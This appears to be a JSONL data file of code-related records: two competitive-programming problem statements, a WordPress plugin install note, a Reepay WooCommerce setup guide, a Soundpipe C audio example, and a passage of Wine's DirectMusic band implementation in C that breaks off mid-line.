{"text": "You are given a permutation $$$p$$$ of length $$$n$$$.\n\nPlease count the number of permutations $$$q$$$ of length $$$n$$$ which satisfy the following:\n\n- for each $$$1 \\le i < n$$$, $$$\\max(q_1,\\ldots,q_i) \\neq \\max(p_1,\\ldots,p_i)$$$.\n\nSince the answer may be large, output the answer modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 103, "token_count_with_eod": 104, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Can be seen in use at: Top Categories\n- put the top_categories.php file in your plugins directory\nactivate the plugin\nmodify your template to include the following PHP:\nYou can pass in an optional numeric value like:\nto change the number of categories displayed. By default it shows the top 10 categories (by number of posts).", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A guide on how to install and configure WooCommerce\nAt this point, you should already have a Reepay test or live account. If you do not have an account, please sign up.\nYou can sign up for a free account here. You can afterward convert it to a live Reepay account.\nInstallation and Configuration\nSee this video and follow the steps below:\n- Install the plugin to your Wordpress admin.\n- Click Activate Plugin.\n- Go to WooCommerce → Settings → Payments → Reepay Checkout.\n- Choose a title and description to be shown on the checkout page. For example:\nTitle: Online Payment\nDescription: Secure payment with Reepay.\n- Insert your API keys. Live API key is used for real payments, and test API key is only used for test payments. Insert your Private API key from your live Reepay account into the Live API key field. Insert your Private API key from your test Reepay account into the Test API key field.\nYou can find your private API keys in your Reepay Dashboard. Open a new tab and sign in here:\nGo to your live account and click Developers → API credentials → Click Generate New under Private API Keys → Copy the key and paste it in WooCommerce under Private key.\n- Choose between modal and window display.\n- Choose the payment methods you also have activated in Reepay. Hold ctrl/cmd while clicking on the different payment methods. This will list all the activated payment methods together in the Reepay payment window. You also have the option to create individual payment options in the WooCommerce checkout, by going to WooCommerce → Settings → Payments → and activating the different payment methods. E.g. Reepay - MobilePay. In this case, you can have individual rows directly in the WooCommerce checkout. For example:\n- Reepay Checkout. Title: Payment Cards\n- Reepay - MobilePay. Title: MobilePay Online\n- Reepay - ApplePay. Title: Apple Pay\n- Chose which settle option you would like to utilize. For further information please read: How to configure automatic settle in Wordpress/WooCommerce\n- Enable debug, for faster solutions if anything goes wrong.\n- Enable Save CC, to save credit cards to customers for their later use. If you are not approved by your acquirer to save cards, do not activate this option.\n- Enable Payment method icons for the same payment methods you enable in step 7.\n- Choose order status mapping between WooCommerce and Reepay. Recommended configuration:\n- Reepay Created = Pending payment\n- Reepay Authorized = Processing\n- Reepay Settled = Completed.\n- Click Save changes.\nShow your logo in the payment window\nOptional: Go into your Reepay Administration. Click Configuration → Checkout → Default Configuration → Edit → Scroll down and Upload a logo from your computer → Update Configuration.\nIf you have a security plugin installed make sure not to block Ireland as a country or just whitelist our webhook IP address: 22.214.171.124. This is very important since the plugin relies on webhooks.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 652, "token_count_with_eod": 653, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Qwerty the Ranger took up a government job and arrived on planet Mars. He should stay in the secret lab and conduct some experiments on bacteria that have funny and abnormal properties. The job isn't difficult, but the salary is high.\n\nAt the beginning of the first experiment there is a single bacterium in the test tube. Every second each bacterium in the test tube divides itself into k bacteria. After that some abnormal effects create b more bacteria in the test tube. Thus, if at the beginning of some second the test tube had x bacteria, then at the end of the second it will have kx + b bacteria.\n\nThe experiment showed that after n seconds there were exactly z bacteria and the experiment ended at this point.\n\nFor the second experiment Qwerty is going to sterilize the test tube and put there t bacteria. He hasn't started the experiment yet but he already wonders, how many seconds he will need to grow at least z bacteria. The ranger thinks that the bacteria will divide by the same rule as in the first experiment.\n\nHelp Qwerty and find the minimum number of seconds needed to get a tube with at least z bacteria in the second experiment.", "source": "cpt_codeforces", "language": "en", "token_count": 241, "token_count_with_eod": 242, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#include <stdlib.h>\n#include <stdio.h>\n#include <time.h>\n#include \"soundpipe.h\"\n\ntypedef struct {\n    sp_fosc *osc;\n    sp_ftbl *ft; \n    sp_jitter *jit;\n} UserData;\n\nvoid process(sp_data *sp, void *udata) {\n    UserData *ud = udata;\n    SPFLOAT jit = 0;\n    sp_jitter_compute(sp, ud->jit, NULL, &jit);\n    ud->osc->freq = sp_midi2cps(60 + jit);\n    sp_fosc_compute(sp, ud->osc, NULL, &sp->out[0]);\n}\n\nint main() {\n    srand(time(NULL));\n    UserData ud;\n    sp_data *sp;\n    sp_create(&sp);\n    sp_ftbl_create(sp, &ud.ft, 2048);\n    sp_fosc_create(&ud.osc);\n    sp_jitter_create(&ud.jit);   \n\n    sp_gen_sine(sp, ud.ft);\n    sp_fosc_init(sp, ud.osc, ud.ft);\n    sp_jitter_init(sp, ud.jit);\n    ud.jit->cpsMin = 0.5;\n    ud.jit->cpsMax = 4;\n    ud.jit->amp = 3;  \n    sp->len = 44100 * 5;\n    sp_process(sp, &ud, process);\n\n    sp_ftbl_destroy(&ud.ft);\n    sp_fosc_destroy(&ud.osc);\n    sp_jitter_destroy(&ud.jit);\n\n    sp_destroy(&sp);\n    return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 366, "token_count_with_eod": 367, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/* IDirectMusicBand Implementation\n *\n * Copyright (C) 2003-2004 Rok Mandeljc\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Library General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n */\n\n#include \"dmband_private.h\"\n\nWINE_DEFAULT_DEBUG_CHANNEL(dmband);\nWINE_DECLARE_DEBUG_CHANNEL(dmfile);\n\nconst GUID IID_IDirectMusicBandPRIVATE = {0xda54db81,0x837d,0x11d1,{0x86,0xbc,0x00,0xc0,0x4f,0xbf,0x8f,0xef}};\n\n/*****************************************************************************\n * IDirectMusicBandImpl implementation\n */\n/* IDirectMusicBandImpl IUnknown part: */\nHRESULT WINAPI IDirectMusicBandImpl_IUnknown_QueryInterface (LPUNKNOWN iface, REFIID riid, LPVOID *ppobj) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, UnknownVtbl, iface);\n\t\n\tTRACE(\"(%p, %s, %p)\\n\", This, debugstr_dmguid(riid), ppobj);\n\tif (IsEqualIID (riid, &IID_IUnknown)) {\n\t\t*ppobj = (LPVOID)&This->UnknownVtbl;\n\t\tIDirectMusicBandImpl_IUnknown_AddRef ((LPUNKNOWN)&This->UnknownVtbl);\n\t\treturn S_OK;\t\n\t} else if (IsEqualIID (riid, &IID_IDirectMusicBand)) {\n\t\t*ppobj = (LPVOID)&This->BandVtbl;\n\t\tIDirectMusicBandImpl_IDirectMusicBand_AddRef ((LPDIRECTMUSICBAND)&This->BandVtbl);\n\t\treturn S_OK;\n\t} else if (IsEqualIID (riid, &IID_IDirectMusicObject)) {\n\t\t*ppobj = (LPVOID)&This->ObjectVtbl;\n\t\tIDirectMusicBandImpl_IDirectMusicObject_AddRef ((LPDIRECTMUSICOBJECT)&This->ObjectVtbl);\t\t\n\t\treturn S_OK;\n\t} else if (IsEqualIID (riid, &IID_IPersistStream)) {\n\t\t*ppobj = (LPVOID)&This->PersistStreamVtbl;\n\t\tIDirectMusicBandImpl_IPersistStream_AddRef ((LPPERSISTSTREAM)&This->PersistStreamVtbl);\t\t\n\t\treturn S_OK;\n\t}\n\t\n\tWARN(\"(%p, %s, %p): not found\\n\", This, debugstr_dmguid(riid), ppobj);\n\treturn E_NOINTERFACE;\n}\n\nULONG WINAPI IDirectMusicBandImpl_IUnknown_AddRef (LPUNKNOWN iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, UnknownVtbl, iface);\n\tTRACE(\"(%p) : AddRef from %ld\\n\", This, This->ref);\n\treturn ++(This->ref);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IUnknown_Release (LPUNKNOWN iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, UnknownVtbl, iface);\n\tULONG ref = --This->ref;\n\tTRACE(\"(%p) : ReleaseRef to %ld\\n\", This, This->ref);\n\tif (ref == 0) {\n\t\tHeapFree(GetProcessHeap(), 0, This);\n\t}\n\treturn ref;\n}\n\nICOM_VTABLE(IUnknown) DirectMusicBand_Unknown_Vtbl = {\n    ICOM_MSVTABLE_COMPAT_DummyRTTIVALUE\n\tIDirectMusicBandImpl_IUnknown_QueryInterface,\n\tIDirectMusicBandImpl_IUnknown_AddRef,\n\tIDirectMusicBandImpl_IUnknown_Release\n};\n\n/* IDirectMusicBandImpl IDirectMusicBand part: */\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicBand_QueryInterface (LPDIRECTMUSICBAND iface, REFIID riid, LPVOID *ppobj) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_QueryInterface ((LPUNKNOWN)&This->UnknownVtbl, riid, ppobj);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IDirectMusicBand_AddRef (LPDIRECTMUSICBAND iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_AddRef ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IDirectMusicBand_Release (LPDIRECTMUSICBAND iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_Release ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicBand_CreateSegment (LPDIRECTMUSICBAND iface, IDirectMusicSegment** ppSegment) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\tFIXME(\"(%p, %p): stub\\n\", This, ppSegment);\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicBand_Download (LPDIRECTMUSICBAND iface, IDirectMusicPerformance* pPerformance) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\tFIXME(\"(%p, %p): stub\\n\", This, pPerformance);\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicBand_Unload (LPDIRECTMUSICBAND iface, IDirectMusicPerformance* pPerformance) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\tFIXME(\"(%p, %p): stub\\n\", This, pPerformance);\n\treturn S_OK;\n}\n\nICOM_VTABLE(IDirectMusicBand) DirectMusicBand_Band_Vtbl = {\n    ICOM_MSVTABLE_COMPAT_DummyRTTIVALUE\n\tIDirectMusicBandImpl_IDirectMusicBand_QueryInterface,\n\tIDirectMusicBandImpl_IDirectMusicBand_AddRef,\n\tIDirectMusicBandImpl_IDirectMusicBand_Release,\n\tIDirectMusicBandImpl_IDirectMusicBand_CreateSegment,\n\tIDirectMusicBandImpl_IDirectMusicBand_Download,\n\tIDirectMusicBandImpl_IDirectMusicBand_Unload\n};\n\n/* IDirectMusicBandImpl IDirectMusicObject part: */\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicObject_QueryInterface (LPDIRECTMUSICOBJECT iface, REFIID riid, LPVOID *ppobj) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_QueryInterface ((LPUNKNOWN)&This->UnknownVtbl, riid, ppobj);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IDirectMusicObject_AddRef (LPDIRECTMUSICOBJECT iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_AddRef ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IDirectMusicObject_Release (LPDIRECTMUSICOBJECT iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_Release ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicObject_GetDescriptor (LPDIRECTMUSICOBJECT iface, LPDMUS_OBJECTDESC pDesc) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\tTRACE(\"(%p, %p)\\n\", This, pDesc);\n\t/* I think we shouldn't return pointer here since then values can be changed; it'd be a mess */\n\tmemcpy (pDesc, This->pDesc, This->pDesc->dwSize);\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicObject_SetDescriptor (LPDIRECTMUSICOBJECT iface, LPDMUS_OBJECTDESC pDesc) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\tTRACE(\"(%p, %p): setting descriptor:\\n%s\\n\", This, pDesc, debugstr_DMUS_OBJECTDESC (pDesc));\n\t\n\t/* According to MSDN, we should copy only given values, not whole struct */\t\n\tif (pDesc->dwValidData & DMUS_OBJ_OBJECT)\n\t\tmemcpy (&This->pDesc->guidObject, &pDesc->guidObject, sizeof (pDesc->guidObject));\n\tif (pDesc->dwValidData & DMUS_OBJ_CLASS)\n\t\tmemcpy (&This->pDesc->guidClass, &pDesc->guidClass, sizeof (pDesc->guidClass));\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_NAME)\n\t\tstrncpyW (This->pDesc->wszName, pDesc->wszName, DMUS_MAX_NAME);\n\tif (pDesc->dwValidData & DMUS_OBJ_CATEGORY)\n\t\tstrncpyW (This->pDesc->wszCategory, pDesc->wszCategory, DMUS_MAX_CATEGORY);\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_FILENAME)\n\t\tstrncpyW (This->pDesc->wszFileName, pDesc->wszFileName, DMUS_MAX_FILENAME);\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_VERSION)\n\t\tmemcpy (&This->pDesc->vVersion, &pDesc->vVersion, sizeof (pDesc->vVersion));\t\t\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_DATE)\n\t\tmemcpy (&This->pDesc->ftDate, &pDesc->ftDate, sizeof (pDesc->ftDate));\t\t\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_MEMORY) {\n\t\tmemcpy (&This->pDesc->llMemLength, &pDesc->llMemLength, sizeof (pDesc->llMemLength));\t\t\t\t\n\t\tmemcpy (This->pDesc->pbMemData, pDesc->pbMemData, sizeof (pDesc->pbMemData));\n\t}\n\tif (pDesc->dwValidData & DMUS_OBJ_STREAM) {\n\t\t/* according to MSDN, we copy the stream */\n\t\tIStream_Clone (pDesc->pStream, &This->pDesc->pStream);\t\n\t}\n\t\n\t/* add new flags */\n\tThis->pDesc->dwValidData |= pDesc->dwValidData;\n\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicObject_ParseDescriptor (LPDIRECTMUSICOBJECT iface, LPSTREAM pStream, LPDMUS_OBJECTDESC pDesc) {\n\tDMUS_PRIVATE_CHUNK Chunk;\n\tDWORD StreamSize, StreamCount, ListSize[1], ListCount[1];\n\tLARGE_INTEGER liMove; /* used when skipping chunks */\n\n\tTRACE(\"(%p, %p)\\n\", pStream, pDesc);\n\t\n\t/* FIXME: should this be determined from stream? */\n\tpDesc->dwValidData |= DMUS_OBJ_CLASS;\n\tmemcpy (&pDesc->guidClass, &CLSID_DirectMusicBand, sizeof(CLSID));\n\t\n\tIStream_Read (pStream, &Chunk, sizeof(FOURCC)+sizeof(DWORD), NULL);\n\tTRACE_(dmfile)(\": %s chunk (size = 0x%04lx)\", debugstr_fourcc (Chunk.fccID), Chunk.dwSize);\n\tswitch (Chunk.fccID) {\t\n\t\tcase FOURCC_RIFF: {\n\t\t\tIStream_Read (pStream, &Chunk.fccID, sizeof(FOURCC), NULL);\t\t\t\t\n\t\t\tTRACE_(dmfile)(\": RIFF chunk of type %s\", debugstr_fourcc(Chunk.fccID));\n\t\t\tStreamSize = Chunk.dwSize - sizeof(FOURCC);\n\t\t\tStreamCount = 0;\n\t\t\tif (Chunk.fccID == DMUS_FOURCC_BAND_FORM) {\n\t\t\t\tTRACE_(dmfile)(\": band form\\n\");\n\t\t\t\tdo {\n\t\t\t\t\tIStream_Read (pStream, &Chunk, sizeof(FOURCC)+sizeof(DWORD), NULL);\n\t\t\t\t\tStreamCount += sizeof(FOURCC) + sizeof(DWORD) + Chunk.dwSize;\n\t\t\t\t\tTRACE_(dmfile)(\": %s chunk (size = 0x%04lx)\", debugstr_fourcc (Chunk.fccID), Chunk.dwSize);\n\t\t\t\t\tswitch (Chunk.fccID) {\n\t\t\t\t\t\tcase DMUS_FOURCC_GUID_CHUNK: {\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": GUID chunk\\n\");\n\t\t\t\t\t\t\tpDesc->dwValidData |= DMUS_OBJ_OBJECT;\n\t\t\t\t\t\t\tIStream_Read (pStream, &pDesc->guidObject, Chunk.dwSize, NULL);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcase DMUS_FOURCC_VERSION_CHUNK: {\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": version chunk\\n\");\n\t\t\t\t\t\t\tpDesc->dwValidData |= DMUS_OBJ_VERSION;\n\t\t\t\t\t\t\tIStream_Read (pStream, &pDesc->vVersion, Chunk.dwSize, NULL);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcase DMUS_FOURCC_CATEGORY_CHUNK: {\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": category chunk\\n\");\n\t\t\t\t\t\t\tpDesc->dwValidData |= DMUS_OBJ_CATEGORY;\n\t\t\t\t\t\t\tIStream_Read (pStream, pDesc->wszCategory, Chunk.dwSize, NULL);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcase FOURCC_LIST: {\n\t\t\t\t\t\t\tIStream_Read (pStream, &Chunk.fccID, sizeof(FOURCC), NULL);\t\t\t\t\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": LIST chunk of type %s\", debugstr_fourcc(Chunk.fccID));\n\t\t\t\t\t\t\tListSize[0] = Chunk.dwSize - sizeof(FOURCC);\n\t\t\t\t\t\t\tListCount[0] = 0;\n\t\t\t\t\t\t\tswitch (Chunk.fccID) {\n\t\t\t\t\t\t\t\t/* evil M$ UNFO list, which can (!?) contain INFO elements */\n\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UNFO_LIST: {\n\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": UNFO list\\n\");\n\t\t\t\t\t\t\t\t\tdo {\n\t\t\t\t\t\t\t\t\t\tIStream_Read (pStream, &Chunk, sizeof(FOURCC)+sizeof(DWORD), NULL);\n\t\t\t\t\t\t\t\t\t\tListCount[0] += sizeof(FOURCC) + sizeof(DWORD) + Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": %s chunk (size = 0x%04lx)\", debugstr_fourcc (Chunk.fccID), Chunk.dwSize);\n\t\t\t\t\t\t\t\t\t\tswitch (Chunk.fccID) {\n\t\t\t\t\t\t\t\t\t\t\t/* don't ask me why, but M$ puts INFO elements in UNFO list sometimes\n                                             (though strings seem to be valid unicode) */\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','N','A','M'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UNAM_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": name chunk\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tpDesc->dwValidData |= DMUS_OBJ_NAME;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Read (pStream, pDesc->wszName, Chunk.dwSize, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','A','R','T'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UART_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": artist chunk (ignored)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','C','O','P'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UCOP_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": copyright chunk (ignored)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','S','B','J'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_USBJ_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": subject chunk (ignored)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','C','M','T'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UCMT_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": comment chunk (ignored)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tdefault: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": unknown chunk (irrevelant & skipping)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": ListCount[0] = %ld < ListSize[0] = %ld\\n\", ListCount[0], ListSize[0]);\n\t\t\t\t\t\t\t\t\t} while (ListCount[0] < ListSize[0]);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tdefault: {\n\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": unknown (skipping)\\n\");\n\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize - sizeof(FOURCC);\n\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\t\n\t\t\t\t\t\tdefault: {\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": unknown chunk (irrevelant & skipping)\\n\");\n\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tTRACE_(dmfile)(\": StreamCount[0] = %ld < StreamSize[0] = %ld\\n\", StreamCount, StreamSize);\n\t\t\t\t} while (StreamCount < StreamSize);\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\tTRACE_(dmfile)(\": unexpected chunk; loading failed)\\n\");\n\t\t\t\tliMove.QuadPart = StreamSize;\n\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL); /* skip the rest of the chunk */\n\t\t\t\treturn E_FAIL;\n\t\t\t}\n\t\t\n\t\t\tTRACE_(dmfile)(\": reading finished\\n\");\n\t\t\tbreak;\n\t\t}\n\t\tdefault: {\n\t\t\tTRACE_(dmfile)(\": unexpected chunk; loading failed)\\n\");\n\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL); /* skip the rest of the chunk */\n\t\t\treturn DMUS_E_INVALIDFILE;\n\t\t}\n\t}\t\n\t\n\tTRACE(\": returning descriptor:\\n%s\\n\", debugstr_DMUS_OBJECTDESC (pDesc));\n\t\n\treturn S_OK;\n}\n\nICOM_VTABLE(IDirectMusicObject) DirectMusicBand_Object_Vtbl = {\n    ICOM_MSVTABLE_COMPAT_DummyRTTIVALUE\n\tIDirectMusicBandImpl_IDirectMusicObject_QueryInterface,\n\tIDirectMusicBandImpl_IDirectMusicObject_AddRef,\n\tIDirectMusicBandImpl_IDirectMusicObject_Release,\n\tIDirectMusicBandImpl_IDirectMusicObject_GetDescriptor,\n\tIDirectMusicBandImpl_IDirectMusicObject_SetDescriptor,\n\tIDirectMusicBandImpl_IDirectMusicObject_ParseDescriptor\n};\n\n/* IDirectMusicBandImpl IPersistStream part: */\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_QueryInterface (LPPERSISTSTREAM iface, REFIID riid, LPVOID *ppobj) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, PersistStreamVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_QueryInterface ((LPUNKNOWN)&This->UnknownVtbl, riid, ppobj);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IPersistStream_AddRef (LPPERSISTSTREAM iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, PersistStreamVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_AddRef ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IPersistStream_Release (LPPERSISTSTREAM iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, PersistStreamVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_Release ((LPUNKNOWN)&This->UnknownVtbl);\t\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_GetClassID (LPPERSISTSTREAM iface, CLSID* pClassID) {\n\treturn E_NOTIMPL;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_IsDirty (LPPERSISTSTREAM iface) {\n\treturn E_NOTIMPL;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_Load (LPPERSISTSTREAM iface, IStream* pStm) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, PersistStreamVtbl, iface);\n\tFIXME(\"(%p,%p): loading not implemented yet\\n\", This, pStm);\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_Save (LPPERSISTSTREAM iface, IStream* pStm, BOOL fClearDirty) {\n\treturn E_NOTIMPL;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_GetSizeMax (LPPERSISTSTREAM iface, ULARGE_INTEGER* pcbSize) {\n\treturn E_NOTIMPL;\n}\n\nICOM_VTABLE(IPersistStream) DirectMusicBand_PersistStream_Vtbl = {\n    ICOM_MSVTABLE_COMPAT_DummyRTTIVALUE\n\tIDirectMusicBandImpl_IPersistStream_QueryInterface,\n\tIDirectMusicBandImpl_IPersistStream_AddRef,\n\tIDirectMusicBandImpl_IPersistStream_Release,\n\tIDirectMusicBandImpl_IPersistStream_GetClassID,\n\tIDirectMusicBandImpl_IPersistStream_IsDirty,\n\tIDirectMusicBandImpl_IPersistStream_Load,\n\tIDirectMusicBandImpl_IPersistStream_Save,\n\tIDirectMusicBandImpl_IPersistStream_GetSizeMax\n};\n\n/* for ClassFactory */\nHRESULT WINAPI DMUSIC_CreateDirectMusicBandImpl (LPCGUID lpcGUID, LPVOID* ppobj, LPUNKNOWN pUnkOuter) {\n\tIDirectMusicBandImpl* obj;\n\t\n\tobj = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(IDirectMusicBandImpl));\n\tif (NULL == obj) {\n\t\t*ppobj = (LPVOID) NULL;\n\t\treturn E_OUTOFMEMORY;\n\t}\n\tobj->UnknownVtbl = &DirectMusicBand_Unknown_Vtbl;\n\tobj->BandVtbl = &DirectMusicBand_Band_Vtbl;\n\tobj->ObjectVtbl = &DirectMusicBand_Object_Vtbl;\n\tobj->PersistStreamVtbl 